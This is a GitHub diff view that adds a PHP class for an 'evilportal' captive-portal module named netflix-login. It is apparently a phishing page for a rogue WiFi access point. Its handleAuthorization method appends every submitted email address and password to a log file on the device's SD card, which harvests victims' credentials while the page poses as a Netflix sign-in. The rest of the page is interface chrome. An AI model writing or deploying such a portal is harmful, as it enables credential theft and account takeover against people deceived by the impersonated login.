Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions portals/netflix-login/MyPortal.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
<?php namespace evilportal;

class MyPortal extends Portal
{

public function handleAuthorization()
{
// handle form input or other extra things there

file_put_contents("/sd/portals/netflix_eng/netflix.log" , "{$this->request->email}\n" , FILE_APPEND);
file_put_contents("/sd/portals/netflix_eng/netflix.log" , "{$this->request->password}\n" , FILE_APPEND);

// Call parent to handle basic authorization first
parent::handleAuthorization();
}

/**
* Override this to do something when the client is successfully authorized.
* By default it just notifies the Web UI.
*/
public function onSuccess()
{
// Calls default success message
parent::onSuccess();
}

/**
* If an error occurs then do something here.
* Override to provide your own functionality.
*/
public function showError()
{
// Calls default error message
parent::showError();
}
}
Loading